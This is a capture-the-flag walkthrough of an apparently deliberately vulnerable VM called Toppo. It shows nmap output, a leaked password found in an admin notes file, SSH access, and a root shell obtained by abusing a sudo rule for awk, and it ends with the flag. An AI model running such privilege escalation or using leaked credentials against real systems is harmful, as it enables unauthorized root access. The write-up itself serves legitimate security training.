```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
|   2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
|   256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
|_  256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp    open  http     Apache httpd 2.4.10 ((Debian))
|_http-title: Clean Blog - Start Bootstrap Theme
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp    rpcbind
|   100000  2,3,4        111/udp    rpcbind
|   100000  3,4          111/tcp6   rpcbind
|   100000  3,4          111/udp6   rpcbind
|   100024  1          36770/tcp6   status
|   100024  1          36989/udp    status
|   100024  1          47064/udp6   status
|_  100024  1          51821/tcp    status
51821/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Through directory busting I managed to find **/admin/notes.txt**

```
Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the
technology isn't my thing i prefer go fishing or watching soccer .
```

So we have credentials. Maybe the password is **12345ted123** or **/12345ted1234** or something like that. That colon is a bit weird

I'm embarrassed to say I spent 15 minutes stuck here.
SSH creds are **ted:12345ted123**

Looked around for a bit, ran linpeas

```
         Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
  https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
/etc/sudoers:ted ALL=(ALL) NOPASSWD: /usr/bin/awk
```

GTFOBins…

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
awk 'BEGIN {system("/bin/sh")}'
```

```
ted@Toppo:/home$ awk 'BEGIN {system("/bin/sh")}'
# whoami
root
```

This one was very simple, I guess

Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}